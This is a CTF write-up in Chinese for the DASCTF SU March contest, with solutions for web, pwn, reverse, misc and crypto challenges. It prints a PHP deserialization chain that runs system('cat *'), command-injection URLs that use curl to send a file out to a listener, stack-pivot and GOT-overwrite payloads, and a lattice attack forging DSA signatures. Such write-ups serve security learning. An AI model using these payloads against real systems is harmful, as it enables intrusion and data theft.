DASCTF SU三月赛 WriteUp
字数 984 2025-08-07 08:22:31
DASCTF SU三月赛 WriteUp 详细解析
0x01 Web 题目解析
ezpop 题目解析
题目类型:PHP 反序列化漏洞利用
解题要点:
- 构造POP链绕过eval函数的注释限制
- 利用类之间的相互引用关系
关键代码分析:
class crow {
public $v1;
public $v2;
function __construct($v1,$v2) {
$this->v1=$v1;
$this->v2=$v2;
}
}
class fin {
public $f1;
function __construct($f1) {
$this->f1=$f1;
}
}
class what {
public $a;
function __construct($a) {
$this->a=$a;
}
}
class mix {
public $m1;
function __construct($m1) {
$this->m1=$m1;
}
}
利用链构造:
$a = new fin(new what(new fin(new crow(new fin(new mix("?><?php system('cat *');?>")),'aa'))));
echo urlencode(serialize($a));
解题步骤:
- 分析类结构,找到可以利用的类
- 构造嵌套对象,最终注入PHP代码
- 通过反序列化触发代码执行
clac 题目解析
题目类型:命令注入漏洞
解题要点:
- 利用
#注释符绕过输入过滤 - 分阶段获取flag
利用方式:
- 第一阶段将回显写入文件:
/calc?num=1%23`cat%09/*>/y3`
- 第二阶段通过curl带出文件内容:
/calc?num=1%23`curl%09127.0.0.1:1234%09-F%09xx=@/y3`
0x02 Misc 题目解析
月圆之夜
解题方法:
- 查找字母表对应关系
- 直接得到flag:
DASCTF{welcometothefullmoonnight}
问卷题
解题方法:填写问卷即可
0x03 Pwn 题目解析
checkin
题目类型:栈溢出+栈迁移
解题要点:
- 利用0x10字节的栈溢出
- 结合栈迁移和GOT表修改技术
利用步骤:
- 第一次payload进行栈迁移:
payload = b"a"*0xa0 + p64(0x4040c0+0xa0) + p64(0x4011BF)
- 第二次payload利用csu gadget修改GOT表:
payload = flat([
0x404140, #nouse
0x40124A, # pop 6
0,1, #rbx rbp
0x404040, # stdout r12
0,0, # r13 r14
0x404020, #r15 setvbuf_got
0x401230, # ret
0,0, #+8 rbx
0x404140, #rbp
0,0,0,0, #12 13 14 15
0x4011BF #read = put
])
- 最终发送shellcode获取权限
0x04 Re 题目解析
easyre
题目类型:ESP + RC4加密
解题要点:
- 逆向分析加密算法
- 注意数据修正
关键代码:
for ( i = 0; i < 42; i++ )
printf("%c", xorKeyy[i] & 0xFF ^ (data[i] - 71));
解题步骤:
- 分析RC4初始化函数
- 理解加密过程中的位操作
- 实现解密算法
0x05 Crypto 题目解析
FlowerCipher
题目类型:自定义加密算法
解题要点:
- 逆向加密过程
- 利用数学关系恢复flag
关键代码:
def Flower(x, key):
flower = random.randint(0, 4096)
return x * (key ** 3 + flower)
解题方法:
- 通过L%R关系逆向计算
- 对结果开三次方获取原始字符
meet me in the middle
题目类型:DSA签名算法漏洞利用
解题要点:
- 利用DSA签名中的k值泄露
- 构造格子攻击
利用步骤:
- 获取中间值k0和k1
- 构造矩阵进行BKZ算法攻击
- 恢复私钥x
关键代码:
Mat = matrix(
[[K,K*(1<<l),K*int(t),K*int(t)*(1<<l),u_],
[0,K*q,0,0,0],
[0,0,K*q,0,0],
[0,0,0,K*q,0],
[0,0,0,0,q]]
)
mat_bkz = Mat.BKZ(block_size = 22)
- 最终使用恢复的私钥伪造管理员签名获取flag
总结
本次比赛涵盖了多种安全技术领域,包括:
- Web安全中的反序列化漏洞和命令注入
- 逆向工程中的加密算法分析
- Pwn中的栈溢出和GOT表利用
- 密码学中的DSA签名漏洞利用
每个题目都需要深入理解相关技术原理,并能够灵活运用各种攻击技巧。